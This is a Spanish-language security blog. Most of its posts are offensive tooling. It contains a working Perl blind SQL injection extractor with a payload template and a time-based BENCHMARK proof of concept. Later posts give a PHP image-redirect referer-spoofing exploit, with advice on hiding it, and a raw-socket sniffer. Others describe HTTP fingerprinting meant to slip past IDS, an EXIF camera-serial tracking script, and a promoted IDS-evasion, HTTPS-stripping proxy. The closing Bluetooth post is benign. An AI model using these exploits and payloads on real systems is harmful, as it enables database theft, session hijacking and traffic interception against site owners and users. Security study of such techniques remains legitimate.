Los Caballeros

"Sobre seguridad, programación, modding, frikismo, etc... "

Blind SQL Injection (con algo de HTTP y Perl :P)

Twitter icon Twitter icon
Aquí xianur0 de nuevo, vamos a ver mas o menos temas similares a los que se vieron en mi taller del x25, comenzaremos con un poco de teoría y después pasaremos a fuzzing.

¿Por que se llama Blind SQL Injection?

La explicación es simple, por que no podemos ver el resultado de una consulta, únicamente podemos detectar algo que nos diga si la consulta es correcta o no (booleanos: resta 1 bit hacia la respuesta :P).

¿De que nos sirve saber si es correcta o no?

Se estarán preguntando si en verdad ese true o false nos van a servir para obtener un dato útil (ejemplo: contraseñas), y si en verdad esto nos puede ser de mucha utilidad, solamente que sera un poco mas lento... pero igualmente satisfactorio :P...

Veamos una consulta (usaremos las tablas por defecto de mysql para no tener que complicarnos estructurando algo).

La clásica consulta:

SELECT table_name FROM information_schema.tables group by table_name

esto si pudiéramos ver la salida nos daría las tablas que tenemos, pero no podemos ver dicha salida, igualmente queremos saber las tablas que tiene esta base de datos, así que procedamos.

SELECT substring(table_name,1,1),table_name FROM information_schema.tables group by table_name


Como podremos notar nos muestra la primera letra (y la tabla a la que pertenece), esto a simple vista no nos es de utilidad pues no podemos ver lo que nos retorna, pero podemos usar condiciones e ir buscando carácter a carácter, pero para esto necesitaríamos tener un array de caracteres, lo cual no me parece muy buena idea, aparte de que no podemos usar rangos como tal... o si?, bueno podríamos usando expresiones regulares:

SELECT substring(table_name,1,1) REGEXP '[a-z]',table_name FROM information_schema.tables group by table_name limit 1





Bueno con esto retornaría 1 si el carácter en cuestión es alguna letra, de este modo se reducen posibilidades (nótese que REGEXP no distingue entre mayúsculas y minúsculas), pero ahora esto no nos ayuda del todo, podemos reducir posibilidades de esta forma, pero aun no tenemos la solución al problema, pues como habíamos dicho no podemos ver la salida, solo si es correcto o falso, para esto debemos aclarar cuando es true y cuando es false:

Cuando una consulta es correcta esta retorna resultados (por lógica) y cuando es incorrecta retorna un error o no retorna columnas, es decir tenemos que va a ser false cuando retorne un error o no retorne columnas, entonces vamos a hacer eso:

SELECT 1 FROM information_schema.tables where 1=1 and (substring(table_name,1,1) REGEXP '[a-z]') group by table_name limit 1

en este caso se va a cumplir la condición cuando el primer carácter sea alguna letra, de otro modo false.

bueno eso es en cuanto a expresiones regulares, pero suponiendo que no pudiéramos usar comillas (o comillas dobles dependiendo del caso) se puede usar la clásica codificación hexadecimal (0x5b612d7a5d para el regex anterior) ya que se trata como cadena.

pero no queremos usar un array, así que usaremos alguna codificación para pasar a números el carácter (con algún fin que en este momento no se me ocurre), para esto tenemos funciones como ascii(), la cual nos retorna el número ascii del carácter.

SELECT 1 FROM information_schema.tables where ascii(substring(table_name,1,1)) = 97 limit 1

en este caso también podemos usar rangos (mayor que >, menor que <, menor o igual que <=, mayor o igual que >=) ya que es número.

Bueno ahora, ya sabemos como funciona (mas o menos) por dentro un blind, pero como podemos detectarlo desde afuera? como mencione arriba hay siempre una cosa que nos dice que es true o false, es decir una cosa que falta en la pagina, o una cosa que sobra en la pagina, por ejemplo cuando es false que nos redireccione al index o no nos muestre algo, en este caso lo llamaremos "por detectores", en este caso programe un sistema que nos ayudara mucho en esta clase de cosas, describamos su funcionamiento:

  • Utiliza plantillas, es decir nosotros estructuramos los paquetes HTTP que se enviaran (de este modo podemos usar blind en cualquier parte del paquete HTTP, ya sea por POST, GET o en los encabezados o en todos los anteriores).
  • Permite búsqueda por expresiones regulares, de modo que podemos usar regex para buscar algún patrón en la respuesta del servidor (esto también incluye encabezados).
  • Soporta detectores positivos y negativos (que solo aparece algún patrón en la pagina cuando la consulta es invalida).
  • Esta en perl :P...
Ahora les coloco el fuzzer:


#!perl/bin/perl.exe
use LWP::UserAgent;
use IO::Socket;
$ua = LWP::UserAgent->new;
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17");
my $outs;

sub uso {
die("Uso: detector.pl [url] [apartir de] [regex 1/0] [tipo 0/1] [detector] [plantilla] [sql]");
}

uso() if($#ARGV != 6);


sub banear {
print "Parametros invalidos!\r\n";
exit;
}


sub error {
$error[1] = "Parametros Incorrectos!</mensaje>";
$error[2] = "Error en el sistema remoto!";
print $error[$_[0]];
exit;
}

sub tohex($)
{
(my $str = shift) =~ s/(.|\n)/"%".sprintf("%02lx", ord $1)/eg;
return $str;
}



sub leerfile($) {
my $plantillas = $_[0];
print "Leyendo: ".$plantillas."\n\n";
open PLANTILLAS, $plantillas;
my $linea = "";
my $todo = "";
while($linea = <PLANTILLAS>) {
$linea =~ s/(^(\s|\n|\r)+|((\s|\n|\r)+$))//g;
$todo .= $linea;
}
die("Plantilla vacia!\n") if($todo eq '');
return $todo;
}


my $url = $ARGV[0];
my $host = "";
my $iniciarapartirde = $ARGV[1];
die("URL Invalida!") if($url eq "");
my $regex = $ARGV[2];
&banear if($regex ne "1" && $regex ne "0");
my $type = (($ARGV[3] == 0) ? 2 : 3);
&banear if($type eq "");
my $detector = $ARGV[4];
die("No escribio ningun detector!") if($detector eq "");
$i=20;
$simbolo = ">";
die("URL Invalida!\n") if($url !~ /^http/);
$plantillaxml = leerfile($ARGV[5]);
die("Plantilla invalida!") if($plantillaxml eq "");
@pparseada = ($plantillaxml =~ /<paquete>(.*?)<\/paquete>/);
$paqueteoriginal = $pparseada[0];
$sql = $ARGV[6];
die("Por favor escriba la consulta a realizar.") if($sql eq "");
$sql = tohex($sql);
$sql =~ s/\s/+/g;
@partesurl = ($url =~ /^http:\/\/([\w\d\-\.:]+)(\/*(.+))/);
$host = $partesurl[0];
print "Host: ".$host."\n\n";
$paqueteoriginal =~ s/<0x30>crlf<\/0x30>/\r\n/g;
$paqueteoriginal =~ s/<0x30>url<\/0x30>/$url/g;
$paqueteoriginal =~ s/<0x30>host<\/0x30>/$host/g;
die("Plantilla Invalida!") if($paqueteoriginal eq "");

sub enviar {
$finalizo = 0;
$paquete = $_[0];
$paquete =~ s/\r\n/\n/g;
$detector = $_[1];
$regex = $_[2];
$tipo = $_[3];
@datos = split("\n",$paquete);

if($host =~ /(.+):(\d+)$/) {

($host,$puerto) = ($1,$2);

}

$puerto = 80 if($puerto eq "");
my $sock;
while(!$sock) {
$sock = IO::Socket::INET->new(PeerAddr => $host,

PeerPort => $puerto, Proto => 'tcp');
}
$paquete =~ s/\n/\r\n/g;
$paquete =~ s/\r\r/\r/g;
print $sock $paquete;

my $contenido = "";

while($linea = <$sock>) {
$contenido .= $linea;
}
$finalizo = 1 if($contenido =~ m/$detector/ && $tipo eq 2 && $regex == "1");
$finalizo = 1 if($contenido !~ m/$detector/ && $tipo eq 3 && $regex == "1");
$finalizo = 1 if(index($contenido, $detector) != "-1" && $tipo eq 2 && $regex eq 0);
$finalizo = 1 if(index($contenido, $detector) == "-1" && $tipo eq 3 && $regex eq 0);
close($sock);
return $finalizo;
}

$caracter = 1;
$caracter = $iniciarapartirde if($iniciarapartirde ne "");
$simbolo = ">";
$i = "40";

while($caracter ne "finito") {
$paquetetmp = $paqueteoriginal;
$paquetetmp =~ s/<0x30>simbolo<\/0x30>/$simbolo/g;
die("Error!\nResultado: ".$outs."\nUltimo caracter: ".$caracter."\r\n") if($i > 127);
$paquetetmp =~ s/<0x30>vascii<\/0x30>/$i/g;
$paquetetmp =~ s/<0x30>ncaracter<\/0x30>/$caracter/g;
$paquetetmp =~ s/<0x30>sql<\/0x30>/$sql/g;
@postdata = split("\r\n\r\n",$paquetetmp);

if($postdata[1] ne "") {
$contentlength = length($postdata[1]);
$paquetetmp =~ s/<0x30>content-length<\/0x30>/$contentlength/g;
}

$finalizo = enviar($paquetetmp,$detector,$regex, $type);
if($finalizo == 1) {
print "Caracter encontrado: ".chr($i)."\n\n" if($simbolo eq '=');
$encontrado = "true";
} else {
if($i > 127 || $i < 20) {
print "Resultado: $outs\nUltimo caracter: ".$caracter."\n\n";
}

$encontrado = "false";
}

if($encontrado eq "true") {
if($simbolo ne '=') {
$base = $i;
$i = $i+10;
} else {
if($i < 20 || $i < $base || $i > 127) {
print "Resultado: ".$outs."\nUltimo caracter: ".$caracter."\r\n";
die("\n[!] Datos obtenidos: $outs\n");
} else {
$outs .= chr($i);
print "Resultado: ".$outs."\nUltimo caracter: ".$caracter."\r\n";
$caracter++;
$dism=0;
$simbolo = ">";
$i=20;
}
}
} else {

if($i < 20) {
print "Resultado: ".$outs."\nUltimo caracter: ".$caracter."\r\n";
$caracter = "finito";
}
else {
if($dism eq 1) {
$i = $i-1;
}
$simbolo = "=";
$dism = 1;
}

}

}


en este momento no me dan muchas ganas de explicarlo, pero como los buenos programadores que somos estoy seguro que lo entenderan sin problemas ;)...

Ahora les pongo un ejemplo de plantilla:

<paquete>
POST <0x30>url</0x30> HTTP/1.1<0x30>crlf</0x30>
Host: <0x30>host</0x30><0x30>crlf</0x30>
Content-Type: application/x-www-form-urlencoded<0x30>crlf</0x30>
Content-length: <0x30>content-length</0x30><0x30>crlf</0x30>
Connection: Close<0x30>crlf</0x30>
<0x30>crlf</0x30>
buscar=%'+and+%28select+ascii%28substring%28%28<0x30>sql</0x30>%29,<0x30>ncaracter</0x30>,1%29%29%29<0x30>simbolo</0x30><0x30>vascii</0x30>#<0x30>crlf</0x30><0x30>crlf</0x30>
</paquete>

en este caso utiliza el funcionamiento anterior (mediante ascii() y substring() )

Nota: 0x30 = 0 (sí, me gusta mucho el numero 0 xD...).

Pero hay otros momentos en que la pagina no hace un cambio que se pueda detectar fácilmente, en estos casos la consulta igual se ejecuta, pero no podemos ver ninguna diferencia en la web, para esto tenemos la función BENCHMARK() y aparte tenemos el protocolo HTTP (y sí, el protocolo HTTP es mi maldición xD...), la función BENCHMARK(), lo que hace es ejecutar las veces que nosotros le digamos una función, lo cual causa alguna carga en el servidor mysql, por lo cual hay un retraso, en este caso, si nosotros ejecutamos:

BENCHMARK(10000,MD5('XIANUR0')))

ejecutara 10000 veces la codificación md5 de la cadena "XIANUR0", lo cual lógicamente consume recursos y por tanto causara un retraso en responder, y de este modo la pagina web tardara mas tiempo en enviarnos la pagina, pues esta esperando la respuesta del servidor SQL.

Como podemos medir fiablemente el tiempo que tarda el servidor de MySQL en ejecutar una función sin tener acceso a esos datos?, midiendo el tiempo que tarda en procesar la pagina el servidor sin el benchmark y luego medir el tiempo que tarda en procesar la pagina con el, pero como podemos eliminar de estos cálculos los retrasos que puede tener nuestra conexión?, en esto entra el protocolo HTTP :P, utilizando conexiones persistentes podemos medir rangos de tiempo utilizando el encabezado "Date", ahora les coloco una prueba de concepto (y sí... programado en perl también...)


use LWP::UserAgent;
use IO::Socket::INET;

$url = $ARGV[0];

$comentario = "#";
my $sql = "select 1";
my $benchmark = 100000000;
my $prefijo = "buscar="; # "'";
my $sql = $prefijo.'%\'/**/and/**/(SELECT/**/BENCHMARK('.$benchmark.',MD5(\'A\')))'.$comentario;
my ($schema,$host,$path) = ($url =~ /^(https?):\/\/([\w\d\-\.]+)(\/*.*)$/);

sub dateparser {
my $date = $_[0];
my %sistema = ();
my ($diatexto,$dia,$mes,$ano,$horas,$minutos,$segundos,$zonahoraria) = ($date =~ /^(\w+), (\d{1,2}) (\w+) (\d{4}) (\d{2}):(\d{2}):(\d{2}) (.+)$/);
%sistema = ('diatexto',$diatexto,'dia',$dia,'mes',$mes,'año',$ano,'horas',$horas,'minutos',$minutos,'segundos',$segundos,'zona',$zonahoraria);
return %sistema;
}

sub timestamp {
my $date = $_[0];
my $timestamp = 0;
my %date = dateparser($date);
my %meses = ('Dec',12,'Nov',11,'Oct',10,'Sep',9,'Aug',8,'Jul',7,'Jun',6,'May',5,'April',4,'Mar',3,'Feb',2,'Jan',1);
my @dias_meses = ('', 31,29,31,30,31,30,31,31,30,31,30,31);
$timestamp += $date{'segundos'};
$timestamp += $date{'minutos'} * 60;
$timestamp += $date{'horas'} * 360;
$timestamp += ($date{'dia'} * 24) * 360;
$timestamp += (($meses{$date{'mes'}} * $dias_meses[$meses{$date{'mes'}}] ) * 24) * 360;
$timestamp += (($date{'año'} * 365 ) * 24) * 360;
return $timestamp;
}



my $sock = IO::Socket::INET->new(PeerAddr => $host,
PeerPort => 'http(80)',
Proto => 'tcp');
$path = (($path eq '' || $path eq '/') ? '/?' : $path);
my $paquete = "GET ".$path." HTTP/1.1\r\nHost: ".$host."\r\nConnection: Keep-Alive\r\n\r\n".
"GET ".$path.$sql." HTTP/1.1\r\nHost: ".$host."\r\nConnection: Keep-Alive\r\n\r\n".
"GET ".$path." HTTP/1.1\r\nHost: ".$host."\r\nConnection: Close\r\n\r\n";
print $sock $paquete;
my $respuesta = "";
while($linea = <$sock>) {
$respuesta .= $linea;
}
my @encabezados = split(/HTTP\/1\./,$respuesta);
my @dates = ();
BUCLE: foreach $encabezado (@encabezados) {
my ($encabezado,@basura) = split(/\r\n\r\n/,$encabezado);
my @headers = split(/\r\n/,$encabezado);
foreach $header (@headers) {
if($header =~ /^Date:\s(.+?)$/) {
my $date = $1;
print $date."\n";
push(@dates,timestamp($date));
}
}
}
my $primertime = $dates[0];
my $segundotime = $dates[1];
my $tercertime = $dates[2];
my $carga = $segundotime-$primertime;
my $blind = $tercertime-$segundotime;
print "Tiempo de carga promedio: ".$carga."\n";
if($blind > ($carga * 2)) {
print "Blind detectado!\n\tTiempo de carga: ".$blind."\n";
} else {
print "No hay blind :(\n";
}


Nota: el encabezado date en servidores apache se genera antes de procesar la pagina, de modo que el tiempo entre el primer encabezado date y el segundo, es el tiempo exacto que se tardo en procesar la primera pagina.

Este PoC, envía 3 paquetes HTTP en una conexión viva (persistente o reutilizada) y mide los tiempos en que tardo en procesar una pagina sin el benchmark y una con benchmark, de este modo se puede fácilmente detectar un blind (ya se que también podríamos haber utilizado el método HEAD para únicamente procesar los encabezados, pero preferí de esta forma ;)...)

Bueno de momento creo que ya seria todo por este "episodio" de la "saga", así que me despido, espero que les haya gustado y que sigan visitando el blog (y por que no, inviten a sus amigos :P)...

Simple Sniffer por Sockets Raw en xs (Perl con C++)

Twitter icon Twitter icon
Bueno ya que nadie completo el primer reto aquí les coloco mi respuesta:


El xs:


#ifdef __cplusplus
extern "C" {
#endif
#include "EXTERN.h"
#include "perl.h"
#include "XSUB.h"
#ifdef __cplusplus
}
#endif


#include <iostream>
#include <stdio.h>
#include <stdlib.h>
#include <string>
#include <sys/socket.h>
#include <features.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <linux/ip.h>
class MyClass {
int raw;
char * interfaz;
int proto;
int buffer;
public:
MyClass(char * i, int p, int b) {
interfaz = i;
proto = p;
buffer = b;
Makeraw();
BindRaw();
}

~MyClass() {}
void closesocket() {
close(raw);
}

void Makeraw()
{
if((raw = socket(PF_PACKET, SOCK_RAW, htons(proto)))== -1)
{
perror("Imposible crear socket: ");
}
}

int BindRaw()
{

struct sockaddr_ll esqueleto;
struct ifreq ifr;
bzero(&esqueleto, sizeof(esqueleto));
bzero(&ifr, sizeof(ifr));
strncpy((char *)ifr.ifr_name, interfaz, IFNAMSIZ);
if((ioctl(raw, SIOCGIFINDEX, &ifr)) == -1)
{
printf("No se encontro esta interfaz!\n");
return 0;
}
esqueleto.sll_family = AF_PACKET;
esqueleto.sll_ifindex = ifr.ifr_ifindex;
esqueleto.sll_protocol = htons(proto);
if((bind(raw, (struct sockaddr *)&esqueleto, sizeof(esqueleto)))== -1)
{
perror("Imposible poner a la escucha esta interfaz!\n");
return 0;
}
return 1;

}

char * ascii2hex(char * packet,int len)
{
if(!packet)
return 0;
char * buffer = new char[(2 * len)+2];
if(!buffer)
{
return 0;
}
for (int i = 0; i < len; i++)
{
sprintf(buffer + 2 * i, "%02x", packet[i]);
}
return buffer;
}

char *leer()
{
/* proto = ETH_P_ALL */
char packet_buffer[buffer];
int len;
struct sockaddr_ll packet_info;
int packet_info_size = sizeof(packet_info_size);
if((len = recvfrom(raw, packet_buffer, buffer, 0, (struct sockaddr*)&packet_info, (socklen_t*)&packet_info_size)) == -1)
{
perror("No se pudo leer (-1)!");
return 0;
}
else
{
return ascii2hex(packet_buffer,len);
}
return 0;
}
};

MODULE = Xianur0 PACKAGE = Xianur0

MyClass *
MyClass::new(char * i, int p, int b)

char*
MyClass::leer()

void
MyClass::closesocket()

void
MyClass::DESTROY()



Ejemplo del uso (perl):



use Xianur0;
require Exporter;
require DynaLoader;
@ISA = qw(Exporter DynaLoader);
@EXPORT = qw(rpcb_gettime getnetconfigent);
bootstrap Xianur0;
my $xia = new Xianur0("wlan0",3,2048);
my $contador = 10;
while(($contador--) != 0) {
print "Packet: ".$xia->leer()."\n";
}
$xia->closesocket();
$xia->DESTROY();
print "Terminamos!\n";

Aviso

Twitter icon Twitter icon
Este blog no tiene ninguna relación con CCAT ni con ninguna otra organización, el contenido de este blog es propiedad de sus respectivos autores y no nos hacemos responsables del uso que se le de, todo lo aquí publicado es únicamente con fines educativos.

Tecnicas de Fingerprinting con HTTP

Twitter icon Twitter icon
En este hilo hablaremos sobre otras técnicas para realizar fingerprinting (reconocimiento de software) mediante consultas HTTP, la ventaja que tiene el realizar fingerprinting de esta forma es que difícilmente un IDS va a reconocer como ataque esta clase de paquetes, pues se utilizan características comunes del protocolo HTTP.

HTTP/0.9


Esta técnica se basa en que basicamente todos los servidores HTTP manejan de diferentes formas esta versión (pasa lo mismo con proxys), Ejemplo:

GET /

Este ya es un GET valido de la versión 0.9 del protocolo HTTP, pero ahora vamos a ver como lo reconocen los diferentes servidores web:

Tabla de respuestas:

Apache: Solo HTML
IIS: Encabezado y contenido.
GWS: Encabezado y contenido.
Sun-Java-System-Web-Server: Solo HTML

Esto es IIS y GWS toman al 0.9 exactamente igual que a todas las demás versiones del protocolo, cuando en esta versión únicamente se respondía el contenido de la web solicitada.


Errores y el Encabezado Server


algo que no muchos toman en cuenta es que cuando causamos un error (ya sea a un proxy o una aplicación que integre mecanismos similares) el servidor en cuestión responde cambiando muchas veces el encabezado Server, por ejemplo si enviamos un GET a un IIS7 y en el encabezado Host establecemos localhost, esto causara un error y el servidor nos respondera con un encabezado similar a:

Server: Microsoft-HTTPAPI/2.0

Lo cual obviamente es un IIS7 o similar.

En el caso de los proxys, tenemos por ejemplo a NetCache, enviando el mismo tipo de paquete que a un IIS7 (en el caso de los proxys lo toman como un loop infinito pues estaríamos diciendo que se conecten a si mismos) este nos responderá con algo similar a:

Server: NetCache appliance (NetApp/5.4R2D2)

lo mismo con Squid y proxys similares.

En otros casos no cambiara el encabezado Server, pero si responderá con estado 500 o 403 (o algún otro estado de error interno ).

Proxy-Connection


Hay 2 tokens altamente utilizados para establecer el estado de la conexión: Connection y Proxy-Connection, este ultimo tal y como suena se utiliza para servidores proxy, cuando están estos dos en una consulta y hay un proxy en la conexión, nos responderá con Proxy-Connection en lugar de Connection (en la mayoría de los casos).

TRACE

Este método desde el inicio se pensó para explorar la red (aunque se utilice para otras cosas), por lo cual respetando la idea central podemos utilizarlo para debuggear que leen o cambian los servidores proxy, en otras palabras, si enviamos un trace y la respuesta es diferente al paquete enviado entonces algo en la red (diferente a un servidor web el cual por lo regular no edita los paquetes) cambio el paquete (por lo regular un proxy) antes de llegar al servidor destino.



De momento terminamos con este breve texto, también se puede jugar con Content-Length y sacar cosas interesantes ;).


Bytez!

Primeros pasos en informática forense (fotografias)

Twitter icon Twitter icon
Ciertamente ya nos estaba haciendo falta publicar un poco de informática forense pero hemos optado por comenzar con lo mas básico e ir subiendo de nivel, para comenzar esta "saga" vamos a comenzar con recolección de información de fotografía, así que para comenzar necesitaremos lo siguiente:

  • Fotografías (creo que era mas que obvio...).
  • Un editor hexadecimal.
  • Un interprete de perl.
De momento seria todo para comenzar.

Antes que nada vamos a explicar que es lo que vamos a hacer:
  • Determinar la fecha y hora exacta en que se realizo la fotografía.
  • Determinar de que cámara se realizo la fotografía.
  • Determinar si la imagen se bajo de internet o es la fotografía original.
Ahora procedamos.

Las cámaras fotografías por estándares agregan la fecha y hora exacta en que se realizo la fotografía, y también por lo regular agregan la serie de la cámara (todos estos datos en la sección de EXIF), lo cual nos facilita determinar exactamente de que cámara se tomo la fotografía, de este modo se le puede seguir el rastro a la cámara hasta dar con el autor y a decir verdad en muchos sitios web comienzan a implementar esto, lo cual es un problema de privacidad para el autor pues se puede simplemente buscar la serie y localizar todas las fotografías en base de datos tomadas con esa cámara, para un buen investigador esto puede ser de ayuda para resolver un crimen o localizar a una persona, pero para una persona mal intencionada puede ser una gran arma.

Un detalle que encontró un amigo escritor de este blog (Nosferatu) es que muchas webs con upload de fotografías editan las secciones donde se colocan los datos de la cámara, igual que muchas otras aplicaciones (como photoshop) lo cual nos puede ayudar a determinar si la imagen fue alterada o es la original (obviamente esos campos también se pueden falsificar pero en muchos casos pueden ser una pista muy útil), estos datos por lo regular se encuentran en los offset 0x7A - 0x6e7, ahora procedamos, extraemos los datos en ese rango y procedemos a extraer las cadenas que tenga:





De momento podemos terminar que esa foto fue tomada con una NIKON D300S, con firmware: 1.01, además sabemos que fue tomada el 10 de Agosto del 2010 a las 20:42:17, no tengo idea de que signifique el texto ENEAS ahí pero no nos interesa de momento.

Ahora nos interesa saber exactamente que cámara fue la que lo tomo, en el caso de este modelo el numero de serie seria de 7 números:


Algo mas que hay que resaltar es que algunas webs (como photobuket) no eliminan estos campos de las imágenes, de modo que podemos bajar las fotografías y extraer toda información que encontremos sobre la cámara.
Ahora sin mas un pequeño script en perl que ya nos automatiza el trabajo:

#!/usr/bin/perl

# By Xianur0
# http://hackingtelevision.blogspot.com
# Creditos: Nosferatu

use Switch;

$nombre_archivo = $ARGV[0];
open GESTOR,$nombre_archivo;
my $contenido = "";
while($linea = <GESTOR>) {
$contenido .= $linea;
}
$firmacamara = substr($contenido,122,1767);
$firmacamara =~ s/[^\w\d\s\.\,\-\:]/\n/g;
$firmacamara =~ s/\n.{0,3}\n/\n/g;
$firmacamara =~ s/\n+/\n/g;
@firmas = split(/\n/,$firmacamara);
print "Firma: \n\n";
foreach $firma (@firmas) {
print $firma."\n" if(length($firma)>3);
}
$prefijoserial = '';
switch(true) {
case { $firmacamara =~ /KODAK/i}
{
$prefijoserial = 'K';
print "Camara reconocida: Kodak";
}
}
while($contenido =~ /(\d{4}:\d{2}:\d{2}\s+\d{2}:\d{2}:\d{2})/g) {
$hora = $1;
print "Timestamp encontrado: ".$hora."\n\n";
@matches = ();
}
while($contenido =~ /[^\w\d\.\-\:\s]([\w\d]{7,13})[^\w\d\.\-\:\s]/g) {
$serial = $1;
next if($serial !~ /^[A-Z\d]+$/);
print "Posible Serial de la camara: ".$serial."\n\n" if($serial[0] == $prefijoserial || $prefijoserial == '');
}



By Nosferatu & Xianur0

Primer concurso "Los caballeros"

Twitter icon Twitter icon
Como la intención de motivar en los lectores del blog la iniciativa open source vamos a estar constantemente realizando esta clase de concursos, no podemos dar dinero en efectivo por que realmente el blog no nos da los ingresos para ello, aun así si alguien quiere donar alguna cosa para estos concursos sus donaciones son bien recibidas y serán agregados como patrocinadores del concurso, antes que nada explicare las reglas:

  • El patrocinador dará una pregunta o reto con temática opensource, la primera persona que lo resuelva sera el ganador.
  • No hay limite sobre que es lo que se puede donar, siempre y cuando no sean cosas ilegales o que puedan afectar de algún modo a este blog.
  • El staff de este blog en ningún momento pediremos o tomaremos parte de los premios, todas las donaciones serán directamente entregadas a los ganadores sin pasar por el staff (nosotros únicamente publicaremos las preguntas y la lista de los patrocinadores).
  • El staff no se harán responsable por ninguna situación causada por los patrocinadores o los participantes.
  • Las respuestas o soluciones a los retos/problemas serán publicados en este blog.
  • El premio sera entregado en un lapso máximo de 1 semana.
Ahora para comenzare yo haré una donación para este concurso:


Proxy evasor:

Descripción: Esta herramienta actúa como proxy http y nos permite analizar las reglas y el funcionamiento de los IDS basado únicamente en HTTP.

Características:
  • Integra modulo para eliminar HTTPS, lo cual nos da la posibilidad de ser utilizada la evasión sobre HTTPS o con un mitm se puede sniffar trafico que antiguamente iba por HTTPS (esta técnica que implementa es compatible con absolutamente cualquier navegador web).
  • Sistema de reglas de evasion: Se pueden programar reglas en un formato fácil de leer e integradas rápidamente al proxy.
  • Programado completamente en perl se puede utilizar con GTK o desde terminal (ya tiene las 2 opciones).
  • Integra algunas técnicas no documentadas para evasión de NIDS convencionales.
Además integra algunas librerías que programe también en perl para parsear trafico HTTP así que se pueden utilizar para cualquier otra cosa del protocolo HTTP.

Esta herramienta en cuestión no esta publicada o documentada en internet de modo que se puede considerar como un 0day.

Se probo con multitud de NIDS (Snort, Bro, etc...) y de momento con las reglas que ya integra esta herramienta por default ninguno detecta ataques convencionales.


RETO:

Programar un sniffer mediante sockets Raw utilizando xs (Perl con C/C++).

ESPECIFICACIONES:
El código sera enviado a: xianur0.null [at] gmail.com, no serán aceptados códigos copiados de internet.


Tiempo limite:
1 semana (hasta el viernes 19 de noviembre), en caso de no haber ganador el staff publicara la respuesta.

Robo de Referer con imágenes (aka Rata 2)

Twitter icon Twitter icon
Robo de Referer con imágenes (aka Rata 2)

Bueno aquí va un pequeño script que es mas como una versión general del exploit que saque hace un tiempo para el SMF, este es separado del Rata (R.A.T) que publique hace unos días, pero va con la misma idea, en si su funcionamiento lo podemos resumir de esta forma:

Muchos navegadores web siguen los encabezados Location aun cuando se trata de imágenes, lo curioso en este caso es que al seguir el Location el primer Referer se conserva, de modo que aunque sea direccionado 3 o mas veces el Referer seguirá siendo el del inicio, estos navegadores al seguir el Location aun cuando se están cargando imágenes nos abre un camino de posibilidades cuando la idea es spoofear un referer ya que no requerimos que el usuario de click en ningún enlace, simplemente que habrá una pagina donde se encuentra la imagen insertada (por ejemplo un foro o como avatar), esto aparentemente no funciona con chrome, pero si va con firefox e IE (confirmen si no es así con IE por favor).

Bueno ahora despues de esta introducción les coloco el código:


<?php
$imagen = 'rata.jpg';
// $_COOKIE['condicion'] = "PHPSESSID=";
// $_COOKIE['nueva'] = "http://hackingtelevision.blogspot.com";
function mostrarimagen($imagen) {
header("Content-Type: image/jpeg");
print file_get_contents($imagen);
}
if(!empty($_SERVER['HTTP_REFERER']) && preg_match("/".$_COOKIE['condicion']."/",$_SERVER['HTTP_REFERER'])) {
header("Location: ".$_COOKIE['nueva'],TRUE,302);
}
else {
header("HTTP/1.1 200 OK",TRUE,200);
}
mostrarimagen($imagen); // en navegadores como chrome que no siguen el Location se mostrara la imagen.
?>


como podrán apreciar es un código en extremo simple, pero quizás a alguien le sea de utilidad.

Ah se me pasaba, si quieren hacer que pase un poco mas desapercibido pueden usar .htaccess ;)...

Bluetooth part2

Twitter icon Twitter icon
Usos y aplicaciones del Bluetooth El sistema Bluetooth se denomina como un protocolo de comunicaciones el cual fue diseñado para dispositivos de bajo consumo y con un rango corto de alcance de radiofrecuencia, además este permite la comunicación entre varios dispositivos a la vez y sin la necesidad de estar alineados, e inclusive pueden estar en habitaciones diferentes si las condiciones lo permiten y de así requerirse según las necesidades.
Perfiles Bluetooth El perfil de los sistemas Bluetooth es la especificación de una interfaz de alto nivel para los dispositivos Bluetooth.

En términos generales los perfiles son las descripciones de los comportamientos generales que los dispositivos pueden utilizar para comunicarse, formalizados para favorecer el uso unificado. Por consecuente, estos permiten la manufactura de dispositivos que se adapten a sus necesidades.

La especificación debe de cumplir como mínimo 3 requisitos:
  1. La dependencia con otros perfiles.
  2. Formatos recomendados para la interfaz con el usuario.
  3. Partes completas de la pila Bluetooth (o sistema que gestiona a Bluetooth) que se utilizan.
Lista de aplicaciones Alguna de las aplicaciones donde se implementa este protocolo de Bluetooth son por ejemplo:
  • La conexión sin cables entre los celulares y equipos de manos libres y kit para vehículos.
  • Red inalámbrica en espacios reducidos donde no sea tan importante un ancho de banda grande.
  • Comunicación sin cables entre la computadora y dispositivos de entrada y salida. Mayormente impresora, teclado y mouse.
  • Transferencia de ficheros entre dispositivos vía OBEX.
  • Transferencia de fichas de contactos, citas y recordatorios entre dispositivos vía OBEX.
  • Reemplazo de la tradicional comunicación por cable entre equipos GPS y equipamiento médico.
  • Controles remotos (tradicionalmente dominado por el infrarrojo).
  • Enviar pequeñas publicidades desde anunciantes a dispositivos con Bluetooth. Un negocio podría enviar publicidad a teléfonos móviles cuyo Bluetooth (los que lo posean) estuviera activado al pasar cerca, en México no se ha dado esa tendencia por ahora.
  • Las consolas Sony PlayStation 3 y Nintendo Wii incorporan Bluetooth, lo que les permite utilizar mandos inalámbricos.
Especificaciones y características

En 1994, Ericsson inició el estudio para investigar la posibilidad de una nueva interfaz de bajo costo y consumo para la interconexión mediante sistema inalámbrico entre dispositivos como teléfonos móviles y otros accesorios. El estudio partió de un largo proyecto que investigaba unos multi-comunicadores conectados a una red celular, hasta que se llegó a un enlace de radio de corto alcance, llamado MC link. Conforme el mismo avanzó se hiso claro que éste tipo de enlace podía ser utilizado en otro tipos de aplicaciones, ya que tenía como principal cualidad, que era basado en un chip de radio. Futuro del Bluetooth Originalmente los sistemas de Bluetooth fueron diseñados para transmitir información a corta distancia pero, con una velocidad de transferencia baja en los primeros sistemas, posteriormente se buscó realizar una evolución del Bluetooth creando dos tendencias el “UWB” y “ULP”.


Ultra Wide Band Bluetooth

El 28 de marzo de 2006, el Bluetooth SIG anunció su intención de utilizar Ultra-Wideband/MB-OFDM como capa física para futuras versiones de Bluetooth. La integración de UWB crearía una versión de la tecnología Bluetooth con la opción de manejar anchos de banda grandes. Esta nueva versión permitirá alcanzar los requisitos de sincronización y transferencia de grandes cantidades de datos así como de contenidos de alta definición para dispositivos portátiles, proyectores multimedia, televisores y teléfonos VOIP.

A su vez, el sistema Bluetooth continuaría satisfaciendo las necesidades de aplicaciones de muy bajo consumo como ratones, teclados o auriculares mono permitiendo a los dispositivos seleccionar la capa física más apropiada para sus requisitos.

